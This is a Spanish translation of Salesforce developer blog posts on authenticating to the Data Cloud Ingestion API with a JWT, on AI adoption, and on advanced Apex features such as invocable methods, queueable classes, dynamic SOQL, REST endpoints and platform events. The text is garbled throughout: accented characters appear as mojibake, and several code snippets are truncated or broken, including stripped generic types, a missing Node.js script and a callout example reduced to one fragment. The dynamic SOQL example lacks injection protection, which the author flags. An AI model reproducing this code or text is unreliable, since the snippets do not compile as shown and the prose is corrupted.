Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurar谩 el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicaci贸n conectada
  • sub: el nombre de usuario de su organizaci贸n de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de 茅poca

reclamos JWT

Nota : La 茅poca de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuaci贸n, deber谩 utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Aseg煤rese de que el mensaje Firma verificada aparezca a continuaci贸n, lo que indica que nuestro JWT es v谩lido.

O puede crearlo program谩ticamente usando el lenguaje de programaci贸n de su elecci贸n. M谩s adelante en este art铆culo, compartir茅 un pr谩ctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=禄>

Y luego, inicie sesi贸n y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente informaci贸n.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=禄>

Nota: aseg煤rese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dar谩 un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicaci贸n conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuaci贸n, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token禄>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticaci贸n en dos pasos. Para usarlo, necesitar谩 la clave privada que cre贸 anteriormente, as铆 como un archivo de configuraci贸n similar al siguiente.

config.js

Adem谩s, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); 芦>

El m茅todo generateAccessToken devolver谩 el objeto de autenticaci贸n de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la informaci贸n necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisi贸n

Para comenzar a transmitir datos en el conector de Ingesti贸n de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuraci贸n del conector de la API de Ingesti贸n. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }禄>

Nota : aseg煤rese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticaci贸n.

Si todo va bien, recibir谩s la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con 茅xito.

Nota : tambi茅n puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingesti贸n masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operaci贸n que se realizar谩, que puede ser upsert o delete.
  • Cargar los datos en CSV: Despu茅s de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesar谩n, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparaci贸n de los datos: una vez que se cargan los datos, deber谩 indicar que los datos est谩n listos para ser procesados.
  • Cerrar o cancelar el trabajo: despu茅s de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener m谩s informaci贸n sobre c贸mo usar los puntos de conexi贸n masivos, puede consultar la documentaci贸n oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. All铆, seleccionar谩 el objeto Data Lake correspondiente al conector de ingesta que cre贸 anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colecci贸n Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusi贸n

Ahora, est谩 listo para comenzar a cargar datos mediante programaci贸n en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Adem谩s, si prefiere aprender de un video, mi colega Aditya ha creado un video 煤til que explica lo que hemos cubierto en esta publicaci贸n de blog . Aseg煤rese de ver tambi茅n los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores l铆der certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a trav茅s de sus videos, seminarios web, publicaciones de blog y contribuciones de c贸digo abierto, y tambi茅n habla con frecuencia en conferencias y eventos en todo el mundo. S铆galo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

3 pasos para la adopci贸n estrat茅gica de IA

3 pasos para la adopci贸n estrat茅gica de IA

En el mundo empresarial actual, que cambia r谩pidamente, la IA tiene el potencial de transformar las industrias y desbloquear oportunidades sin precedentes. Sin embargo, muchos l铆deres de la industria no est谩n seguros de c贸mo adoptar esta adopci贸n dentro de sus organizaciones. Se preguntan si reemplazar谩 las capacidades humanas o agregar谩 complejidad sin brindar beneficios tangibles.

Imagine las posibilidades de una adopci贸n estrat茅gica de IA. Un asombroso 79% de las empresas ya han experimentado una reducci贸n significativa de costos a trav茅s de la implementaci贸n. Pero, sin una estrategia bien definida adaptada a sus necesidades 煤nicas, las empresas corren el riesgo de perderse los beneficios de estas herramientas transformadoras.

Comience con AI Cloud

Los servicios profesionales de Salesforce pueden ayudarlo a establecer la base adecuada para el 茅xito con nuestro nuevo paquete, AI Coach.

驴Est谩 listo para navegar por el complejo mundo de la IA y aprender c贸mo puede integrarse en su negocio? Profundicemos y descubramos tres pasos pr谩cticos para la adopci贸n e implementaci贸n exitosas de IA , y la importancia de usar esta tecnolog铆a de una manera en la que pueda confiar con AI Cloud .

1. Eval煤e su preparaci贸n para la adopci贸n de IA

Una de las preguntas que suelen hacer los clientes cuando se embarcan en su viaje de IA es: "驴Por d贸nde empiezo?" Con el gran potencial de la tecnolog铆a de IA generativa , los l铆deres de la industria pueden sentirse abrumados o inseguros sobre cu谩l es el mejor camino a seguir. Para navegar este mar de posibilidades, es crucial hacer las preguntas correctas y evaluar la preparaci贸n de su organizaci贸n para adoptar la IA.

  • Identifique el valor empresarial : analice sus procesos, las interacciones con los clientes y los activos de datos para identificar las 谩reas en las que la IA puede crear el mayor valor. Podr谩 concentrar sus esfuerzos en 谩reas de alto impacto que ofrecen retornos 贸ptimos.
  • Visualice c贸mo aprovechar el poder de la IA : Considere c贸mo la IA puede potenciar los objetivos de su empresa. Explore casos de uso, aplicaciones y resultados deseados espec铆ficos para crear una visi贸n convincente.
  • Eval煤e su preparaci贸n : luego, confirme que su organizaci贸n est谩 lista para adoptar la IA. Analice su infraestructura tecnol贸gica, capacidades de datos y habilidades de la fuerza laboral para identificar brechas y 谩reas de mejora. Determine si tiene los recursos, la experiencia y los sistemas de soporte necesarios para implementar y administrar estas soluciones.

Al tomarse el tiempo para evaluar la preparaci贸n, puede abordar las barreras comunes para una adopci贸n exitosa de la IA. Este proceso le permite tomar decisiones informadas, dividir recursos y desarrollar una hoja de ruta realista.

2. Cree una prueba de tecnolog铆a

Para garantizar una integraci贸n exitosa de la IA en su organizaci贸n, debe desarrollar un plan pr谩ctico que aborde las preguntas comerciales clave . Un componente crucial de este plan es crear una prueba de tecnolog铆a , que determina si la soluci贸n o tecnolog铆a propuesta se integrar谩 en su entorno existente y, por lo tanto, demostrar谩 compatibilidad.

Hay varios pasos importantes para ayudarlo a evaluar la viabilidad, demostrar las capacidades del producto y validar la relevancia de los casos de uso. Al seguir estos pasos, puede posicionar a su equipo para el 茅xito y obtener el apoyo de las partes interesadas para la adopci贸n de IA.

  • Identifique casos de uso : perfeccione los casos de uso de IA mediante la recopilaci贸n de informaci贸n de toda su organizaci贸n. Conc茅ntrese en las 谩reas donde la IA puede tener el mayor impacto y alinee sus iniciativas con los objetivos de la empresa.
  • Implemente la prueba de tecnolog铆a de AI Cloud : eval煤e la viabilidad implementando herramientas de IA en un entorno controlado. Pruebe el rendimiento, la escalabilidad y la integraci贸n con los sistemas existentes para abordar cualquier problema desde el principio y garantizar una transici贸n sin problemas.
  • Demuestre las capacidades del producto : Muestre la transformaci贸n potencial a trav茅s de escenarios de pr谩ctica o proyectos piloto. Obtenga la aceptaci贸n y el apoyo de las partes interesadas al ilustrar c贸mo la IA aborda desaf铆os espec铆ficos y brinda los resultados deseados.
  • Valide el valor comercial : antes de la implementaci贸n, confirme la relevancia de sus casos de uso. Pruebe los beneficios no realizados, como mejoras en la eficiencia, mejores experiencias de los clientes y una mejor toma de decisiones, asegur谩ndose de que sus iniciativas de IA se alineen con sus objetivos comerciales.

Al crear una prueba integral de la tecnolog铆a, sienta las bases para una adopci贸n exitosa de la IA. Esta ser谩 su hoja de ruta para navegar por los posibles desaf铆os y aprovechar al m谩ximo las oportunidades futuras.

Impulse la transformaci贸n continua con
La Oficina de Innovaci贸n Continua

Los servicios profesionales de Salesforce pueden ayudarlo a elevar sus capacidades para obtener el m谩ximo valor de su inversi贸n en Salesforce.

3. Transformar la visi贸n en acci贸n

Si bien la planificaci贸n es esencial, es crucial conectar los puntos entre la visi贸n y la ejecuci贸n. As铆 es como puede transformar su plan bien elaborado en una realidad, superando futuros escollos en el camino:

  • Involucrar a diversas partes interesadas : involucrar una variedad de perspectivas e intereses a trav茅s de una colaboraci贸n inclusiva. Busque aportes de empleados, clientes y socios para dar forma a la estrategia de implementaci贸n.
  • Promueva la transparencia : mantenga su plan visible, claro y actualizado. Comparta el progreso y los hitos para fomentar la confianza, la propiedad colectiva y la responsabilidad.
  • Adopte una mentalidad de aprendizaje : mant茅ngase abierto a nuevos conocimientos y perfeccione su plan a medida que avanza.
  • Tome decisiones informadas m谩s f谩cilmente : proporcione estrategias pr谩cticas y una visi贸n clara para garantizar que sus elecciones est茅n alineadas con los resultados deseados.
  • Capacite a su gente : reconozca que el poder de la IA radica en las capacidades colectivas de su fuerza laboral. Aproveche sus conocimientos, habilidades y creatividad para desbloquear todo el potencial de la IA e impulsar un cambio significativo.

Recuerde que el verdadero poder de la IA no radica en la tecnolog铆a en s铆, sino en su gente. Al seguir estas pautas, puede cerrar la brecha entre la visi贸n y la acci贸n, transformando las aspiraciones de su organizaci贸n en resultados concretos.

Aproveche las oportunidades que se avecinan

Abraza el futuro con confianza. Descubra el poder transformador de la IA con AI Coach de Salesforce Professional Services . Nuestro equipo de expertos lo ayudar谩 a evaluar la preparaci贸n para la IA de su organizaci贸n. Desde la adopci贸n de IA hasta la implementaci贸n de pruebas de tecnolog铆a que demuestren el valor comercial y la planificaci贸n estrat茅gica de c贸mo puede establecer la base adecuada para el 茅xito a largo plazo con la Fase 0.

Juntos, navegaremos las complejidades de la implementaci贸n de IA. Al mismo tiempo, nos aseguraremos de que sus iniciativas funcionen hacia sus objetivos comerciales. D茅 el primer paso para liberar todo el potencial de la IA en su organizaci贸n. P贸ngase en contacto con los servicios profesionales de Salesforce hoy mismo.

Seguir leyendo

Sube de nivel tus habilidades Apex 鈽侊笍

Sube de nivel tus habilidades Apex 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Subiendo de nivel tus habilidades de Apex | Blog de desarrolladores de Salesforce

Apex es una habilidad 煤nica que los desarrolladores deben dominar al crear soluciones personalizadas con Salesforce. Hay algunos conceptos b谩sicos que son esenciales. Ciertas cosas, como la sintaxis y el flujo de control, son como aprender cualquier otro idioma. Otras cosas, como operaciones masivas, l铆mites reguladores y disparadores, son particulares de Apex y c贸mo se implementa en la Plataforma de Salesforce. Una vez que tenga una idea de estas caracter铆sticas y modismos clave, 驴a d贸nde va despu茅s?

En esta publicaci贸n, aprender谩 sobre algunas caracter铆sticas de Apex que son cr铆ticas para cualquier desarrollador de Apex que busque mejorar m谩s all谩 de lo b谩sico, junto con d贸nde puede ir para aprender sobre ellas.

Nota: Siempre que sea posible, los ejemplos de c贸digo en esta publicaci贸n se toman directamente o se adaptan de la aplicaci贸n de muestra Recetas de Apex o la Gu铆a para desarrolladores de Apex. Ver las referencias al final del art铆culo.

En estos d铆as, si desea un proceso automatizado o una interfaz de usuario similar a un asistente, Flow siempre debe ser una opci贸n que considere. El alcance, la flexibilidad y la madurez de Flow han crecido enormemente. A煤n as铆, es raro que los problemas comerciales complejos se puedan resolver sin ning煤n tipo de c贸digo.

Introduzca Apex invocable.

La anotaci贸n @InvocableMethod se usa para definir m茅todos llamados por Flow. Y @InvocableVariable muestra los par谩metros para que Flow pase datos a su c贸digo Apex. 驴Por qu茅 llamar铆a a Apex desde Flow? Quiz谩s la l贸gica de su flujo se est谩 volviendo demasiado compleja. Tal vez su automatizaci贸n necesite realizar una operaci贸n que no sea accesible para Flow. En casos como estos, Apex puede ser su amigo.

Aqu铆 hay una ilustraci贸n b谩sica del uso de la anotaci贸n @InvocableMethod :

<dx-code-block title language="java" code-block="public class AccountQueryAction {   @InvocableMethod(label='Get Account Names' description='Returns the list of account names corresponding to the specified account IDs.' category='Account')   public static List getAccountNames(List ids) {     List accountNames = new List();     List accounts = [SELECT Name FROM Account WHERE Id in :ids];     for (Account account : accounts) {       accountNames.add(account.Name);     }     return accountNames;   } }禄>

Este ejemplo de la Gu铆a para desarrolladores de Apex ilustra c贸mo la anotaci贸n marca esto como un m茅todo que Flow puede invocar. Tenga en cuenta que la anotaci贸n tambi茅n define detalles como una etiqueta y una descripci贸n que determinan lo que se muestra al usuario de Flow Builder.

Un efecto secundario importante de las anotaciones de @Invocable鈥 del que pocas personas hablan es que esto muestra autom谩ticamente su Apex al punto final de la API <INSTANCEURL>/data/<VERSION>/actions/custom/apex .

Otra cosa 煤til que puede hacer al invocar Apex desde su flujo es acceder a los diferentes tipos de Apex as铆ncrono. Lo que trae a colaci贸n la siguiente caracter铆stica de Apex que se debe abordar.

La ejecuci贸n as铆ncrona desacopla una acci贸n que queremos realizar del contexto de ejecuci贸n actual. Siguiendo las mejores pr谩cticas actuales, existen tres formas de ejecutar Apex de forma asincr贸nica: en cola, programable y por lotes. Aunque t茅cnicamente el bus de eventos es as铆ncrono, lo omitiremos por el momento.

Si solo necesita activar un poco de c贸digo para ejecutarlo de forma asincr贸nica, la opci贸n en cola es la herramienta de referencia. Si tiene varias tareas asincr贸nicas, queueable las ejecuta de manera determinista en orden. Debido a que est谩n en cola en orden, tambi茅n puede encadenar una llamada as铆ncrona de otra. Y Apex en cola admite entradas de objetos o tipos primitivos.

Apex programado funciona tal como lo esperar铆a: ejecute alg煤n c贸digo de Apex en un horario. Batch Apex est谩 optimizado para trabajar con conjuntos de datos muy grandes. Para utilizar Apex as铆ncrono, debe crear una clase de Apex que implemente una interfaz espec铆fica: Queueable , Schedulable o Batchable , respectivamente.

Nota: algunos desarrolladores pueden estar familiarizados con la anotaci贸n @Future para hacer que un solo m茅todo sea asincr贸nico, tambi茅n conocido como "m茅todos futuros". Los m茅todos futuros, aunque r谩pidos y f谩ciles, tienen limitaciones que los hacen menos 煤tiles. No hay nada que pueda hacer con un m茅todo futuro que no se pueda hacer mejor con una clase en cola. Por este motivo, no recomendamos implementaciones de producci贸n con m茅todos futuros.

Por lo tanto, echemos un vistazo a un ejemplo de una clase de Apex que se puede poner en cola.

<dx-code-block title language="Java" code-block="public with sharing class QueueableRecipes implements Queueable { public static void execute(QueueableContext qc) { List accounts = [ SELECT Id, Description FROM Account LIMIT 1000 ]; for (Account acct : accounts) { acct.Description += ‘ Edited by Queueable class’; } try { update accounts; } catch (DmlException dmle) { System.debug( LoggingLevel.INFO, ‘real life use cases should do more than just logging the error: ‘ + dmle.getMessage() ); } }
} 芦>

Todas las interfaces as铆ncronas de Apex tienen un m茅todo execute() que debe implementarse como se muestra arriba. Para ejecutar su clase Queueable , debe ponerla en cola.

Si bien no se muestra en este ejemplo de la aplicaci贸n de muestra Recetas de Apex, para pasar datos a su cola, anule el constructor con los par谩metros que necesita.

El t茅rmino "Apex din谩mico" es un poco inapropiado. O, al menos, podr铆a malinterpretarse como que Apex de alguna manera funciona como un lenguaje de programaci贸n din谩mico. Esto no es a lo que se refiere (por ejemplo, no hay Apex
funci贸n eval !).

Dynamic Apex es un c贸digo que se adapta a diferentes tipos de SObject ( Account , Contact , My_Custom_Object__c , etc.) en tiempo de ejecuci贸n. Esto se hace abstrayendo referencias espec铆ficas de SObject. La clave es usar la superclase SObject cuando se trabaja con datos. Tambi茅n utilizar谩 las funciones de "descripci贸n" de Apex para detectar con qu茅 objetos y campos est谩 trabajando y qu茅 puede hacer con ellos (por ejemplo, si este usuario puede consultar este objeto).

Esta es una habilidad esencial para los desarrolladores de ISV. A menudo, crear谩 una aplicaci贸n que debe adaptarse al entorno local del cliente que instala su aplicaci贸n. Esto significa que su c贸digo necesita detectar, describir y adaptar su comportamiento dependiendo de datos conocidos o incluso desconocidos.

Aunque es esencial para un desarrollador de ISV, tambi茅n es importante para cualquier persona que quiera escribir c贸digo m谩s reutilizable.

Tome este ejemplo de consulta muy b谩sico:

<dx-code-block title language="Java" code-block="List accts = [SELECT Id, Name, Website FROM Account];禄>

Esto funcionar谩 todo el d铆a consultando los datos de la cuenta. Pero, 驴y si queremos construir una consulta para cualquier SObject?

Para convertir esto en un Apex "din谩mico", necesitamos abstraer las referencias de campo y SObject espec铆ficas. Y tal vez lo incluir铆amos en un m茅todo que permitiera a otro desarrollador pasarlos. Tambi茅n podr铆amos verificar para asegurarnos de que el usuario tenga los permisos de objeto para realizar la operaci贸n que estamos a punto de intentar.

<dx-code-block title language="Java" code-block="public static List executeDynamicQuery(Schema.DescribeSObjectResult obj, List fields){ // Create a result-set list List resultRecords; if (obj.isQueryable()){ // Set up a query string String queryTemplate = ‘SELECT {0} FROM {1}’; List queryDetails = new List{String.join(fields, ‘, ‘), obj.getName()}; String queryString = String.format(queryTemplate, queryDetails); // Run your query resultRecords = Database.query(queryString); } return resultRecords; } 芦>

Lo anterior construye una consulta para un SObject que se pasa al m茅todo y una lista arbitraria de campos. Utiliza el objeto DescribeSObjectResult para detectar la capacidad de consulta e inferir el nombre de la API de SObject al construir y ejecutar la consulta. A continuaci贸n, debe invocarlo.

As铆 es como podr铆amos hacer eso con los objetos Cuenta y Contacto, respectivamente:

<dx-code-block title language="Java" code-block="List accountRecords = DynamicApexClass.dynamicQuery(Account.SObjectType.getDescribe(), new List{‘Id’,’Name’,’Website’}); List contactRecords = DynamicApexClass.dynamicQuery(Contact.SObjectType.getDescribe(), new List{‘Id’,’FirstName’,’LastName’}); 芦>

Este ejemplo no aborda algunos riesgos de SOQL din谩mico, como la inyecci贸n de SOQL. Por lo tanto, aseg煤rese de leer sobre Apex din谩mico. Aprender a escribir Apex seguro har谩 que sea menos probable que implemente c贸digo vulnerable en su organizaci贸n (o la de un cliente). El enlace de variables en sus consultas SOQL es una herramienta clave para proteger su Apex din谩mico de ser explotado. El m茅todo escapeSingleQuotes() es otra herramienta m谩s antigua que tambi茅n puede encontrar. El modo de usuario tambi茅n es clave para garantizar que cualquier acci贸n realizada tenga que cumplir con todas y cada una de las restricciones del usuario que la ejecuta.

Para obtener un ejemplo m谩s completo y seguro de Apex din谩mico, consulte la receta de Apex del m茅todo invocable en la aplicaci贸n de ejemplo Recetas de Apex. Esa acci贸n invocable funciona con el objeto Cuenta o Tarea.

Con Salesforce, hay algunas formas de realizar la integraci贸n sin c贸digo. Espec铆ficamente, si solo necesita una aplicaci贸n o servicio de cliente para obtener datos de Salesforce, hay muchas API que se muestran autom谩ticamente sin ning煤n tipo de codificaci贸n en el lado de Salesforce. Incluso se ajustan a su esquema personalizado. Si est谩 integrando su organizaci贸n a un sistema externo compatible con OData, puede usar Salesforce Connect y objetos externos (nuevamente, no se requiere c贸digo).

Pero a veces, es posible que deba llamar desde su organizaci贸n a un servicio externo. O tal vez desee mostrar un punto final personalizado que agrupe m谩s complejidad que una de las API est谩ndar. Nuevamente, Apex contiene funciones que admiten tanto la aparici贸n de nuevas API personalizadas como la llamada a servicios web.

Al pensar en API personalizadas, en estos d铆as, la mayor铆a de los desarrolladores pensar铆an en API REST. Puede crear una API REST personalizada en Salesforce Platform creando una clase de Apex que se anota con la anotaci贸n @RestResource . Parte del trabajo de la anotaci贸n es definir tambi茅n el nombre del recurso. Todas las API REST personalizadas basadas en Apex se encuentran en <INSTANCEURL>/services/apexrest/ .

Para definir los comportamientos que necesita admitir, hay una serie de anotaciones de m茅todos que corresponden a verbos HTTP, como @HttpGet y @HttpPost . La clase RestContext contiene un conjunto de elementos de acceso para obtener el estado de la solicitud HTTP entrante y la respuesta saliente que devuelve. A continuaci贸n, se muestra un ejemplo de un extremo REST b谩sico que aparece en el m茅todo HTTP GET. Tenga en cuenta c贸mo se utilizan las anotaciones.

<dx-code-block title language="Java" code-block="@RestResource(urlmapping='/integration-service/*')
global inherited sharing class CustomRestEndpointRecipes( … @HttpGet global static String getRecordsToReturn() { RestResponse response = RestContext.response; try { List accounts = [ SELECT Id, Name, Phone, Website FROM Account WITH USER_MODE ]; response.statusCode = 200; String serializedAccounts = JSON.serialize(accounts); return serializedAccounts; } catch (QueryException qe) { System.debug( LoggingLevel.INFO, ‘Failed to query a list of Accounts. Error is: ‘ + qe.getMessage() ); response.statusCode = 400; return qe.getMessage(); } }
} 芦>

Si su requisito es crear un servicio SOAP, tambi茅n hay un conjunto de caracter铆sticas para admitir ese protocolo.

Fuera del c贸digo real, necesitar谩 una sesi贸n autorizada para acceder a cualquier servicio web que cree. Pero si ya tiene un cliente autorizado, la solicitud es solo otra llamada al punto final personalizado que defina.

La llamada a un punto final REST externo se realiza a trav茅s de un conjunto de clases. La clase HttpRequest le permite definir los par谩metros de c贸mo se comportar谩 su solicitud (punto final, verbo HTTP, encabezados, etc.). La solicitud se realiza a trav茅s del m茅todo est谩tico Http.request() . Esto devuelve un objeto HttpResponse que le proporciona los datos devueltos o el error si la solicitud falla.

Nota: Las clases HttpRequest y HttpResponse son las mismas para las llamadas REST y los servicios REST personalizados.

Se requiere cierta configuraci贸n para su texto destacado. Espec铆ficamente, deber谩 configurar una credencial con nombre en la mayor铆a de los casos. Esta configuraci贸n le permite descargar el protocolo de enlace de autenticaci贸n de su c贸digo. Aunque, si est谩 llamando a un servicio an贸nimo no autenticado, tambi茅n puede optar por usar una configuraci贸n de sitio remoto m谩s simple.

= 200 && response.getStatusCode()

El ejemplo anterior hace una llamada simple a un punto final. Tenga en cuenta que no se utilizan las opciones para establecer encabezados ni usar una credencial con nombre, ya que esta solicitud es para una API simple que no requiere autenticaci贸n.

La transmisi贸n de eventos es una herramienta valiosa para crear arquitecturas d茅bilmente acopladas en aplicaciones complejas. La plataforma de Salesforce implementa la transmisi贸n de eventos a trav茅s de dos caracter铆sticas principales: eventos de plataforma y captura de datos modificados. La columna vertebral de estas funciones es el bus de eventos.

De la Gu铆a para desarrolladores de eventos de plataforma, el bus de eventos es "Un servicio de entrega y almacenamiento de eventos de m煤ltiples inquilinos y m煤ltiples nubes basado en un modelo de publicaci贸n-suscripci贸n". Tanto su organizaci贸n como los sistemas externos pueden publicar y suscribirse a eventos. Por supuesto, es clave que si publicas un mensaje, algo debe haberse suscrito para que suceda cualquier otra cosa.

Los eventos de plataforma representan los datos que pasan a trav茅s del bus de eventos. Los eventos se procesan en el orden en que se reciben. Una forma de pensar en ellos es como un SObject ef铆mero que se almacena temporalmente en el bus de eventos en su camino hacia su destino. De hecho, los metadatos de un evento se almacenan en el mismo lugar de su proyecto que sus SObjects. Puede distinguir los eventos de plataforma personalizados de los SObjects por su sufijo __e (por ejemplo Order_Complete__e ).

Una vez que completa un evento con sus datos, el m茅todo EventBus.publish() es similar a una llamada DML en su SObject normal. Tenga en cuenta el c贸digo a continuaci贸n que publica un evento.

En Apex, se suscribe a un evento creando un disparador as铆ncrono para 茅l. Pero los disparadores as铆ncronos son diferentes de la operaci贸n DML transaccional est谩ndar de un disparador normal. Por esta raz贸n, debe tener en cuenta algunas diferencias. Con disparadores as铆ncronos, el tama帽o del lote es diferente. Necesitas configurar tu usuario de ejecuci贸n. Las operaciones de activaci贸n de eventos tambi茅n se pueden volver a intentar. Aseg煤rese de conocer estas diferencias a medida que comience a implementar activadores de eventos de plataforma. Tenga en cuenta el disparador a continuaci贸n.

A diferencia de los disparadores DML t铆picos, los disparadores de eventos de plataforma solo admiten el contexto after insert . Tampoco existe una acci贸n expl铆cita para suscribir un disparador a un evento de plataforma. Una vez que el activador se implementa en su organizaci贸n, se suscribe autom谩ticamente.

Adem谩s de Apex, los eventos de la plataforma pueden activarse y suscribirse mediante sistemas externos y Flow. Son clave en las integraciones d茅bilmente acopladas. Como tal, es raro que Apex active y se suscriba al mismo evento.

Hemos cubierto mucho. Pero de ninguna manera esto es todo lo que necesita saber como desarrollador de Apex. Los elementos cubiertos se basan en algunas caracter铆sticas bastante comunes. Pero es posible que deba aprender otras funciones de Apex seg煤n los requisitos de su proyecto. Aqu铆 hay algunos otros elementos que debe tener en cuenta.

Cach茅 de plataforma : si proviene de otras plataformas de programaci贸n, estar谩 familiarizado con la noci贸n de una variable est谩tica o global persistente en todas las transacciones. Pero en Apex, las est谩ticas se limitan a la transacci贸n. La memoria cach茅 de la plataforma es una caracter铆stica de Apex que permite la persistencia de datos en memoria entre transacciones. Si encuentra un retraso en el rendimiento relacionado con la recuperaci贸n de datos, la memoria cach茅 de la plataforma puede ayudar.

Marcos de activaci贸n : no es una caracter铆stica del lenguaje, sino bibliotecas que facilitan el uso de activadores. Estos proyectos creados por la comunidad abstraen el c贸digo de activaci贸n repetitivo que a menudo necesita escribir. Al usar un marco de activaci贸n, deber铆a permitirle concentrarse solo en la l贸gica que debe abordarse. Para algo m谩s que un disparador trivial, se recomienda encarecidamente adoptar un marco. Y conozco a algunos que argumentar铆an que deber铆a considerar un marco incluso para ese disparador trivial. Pero este no es el lugar para debatir el tiempo de valor frente a la optimizaci贸n prematura. Hay una implementaci贸n muy simple de esto en la aplicaci贸n Apex Recipes .

SOSL : el lenguaje de b煤squeda de objetos de Salesforce ( SOSL ) es el primo subestimado de SOQL. SOSL permite consultas basadas en texto no deterministas. Es muy eficiente para encontrar datos de texto en comparaci贸n con la b煤squeda de campos de texto con SOQL y comodines. Admite la b煤squeda de varios SObjects simult谩neamente y contiene funciones para filtrar de forma determinista los resultados de la b煤squeda. Si tiene consultas SOQL de texto que son lentas, definitivamente consulte esta herramienta.

AuraEnabled : para mostrar el c贸digo Apex personalizado en sus componentes web Lightning (LWC), esta anotaci贸n es clave. Es muy probable que ya est茅 usando este si comenz贸 su viaje de Salesforce creando LWC. Pero si a煤n no lo ha usado, b煤squelo en cualquier proyecto que involucre una interfaz de usuario personalizada. 驴Por qu茅 "Aura" habilitado si es para LWC? Bueno, esta anotaci贸n se cre贸 inicialmente para admitir el predecesor de LWC, el marco Aura. Ten铆a sentido no reinventar una nueva anotaci贸n cuando la existente funcionar铆a igual de bien para LWC.

Cada viaje para aprender un nuevo lenguaje de programaci贸n tiene algunas caracter铆sticas clave que todos deben conocer. La sintaxis b谩sica, el control de flujo y el modelo de ejecuci贸n de la plataforma son fundamentales para comprender. Pero una vez que tenga esos conceptos b谩sicos, trabajar en funciones m谩s avanzadas es clave para aumentar su conjunto de habilidades. Las acciones invocables, el Apex as铆ncrono, el Apex "din谩mico", la integraci贸n y el bus de eventos son funciones que probablemente utilizar谩 a medida que avanza. Al familiarizarse con estos ahora, no solo se preparar谩 para abordar proyectos en el futuro, sino que tambi茅n podr谩 tomar mejores decisiones de soluci贸n.

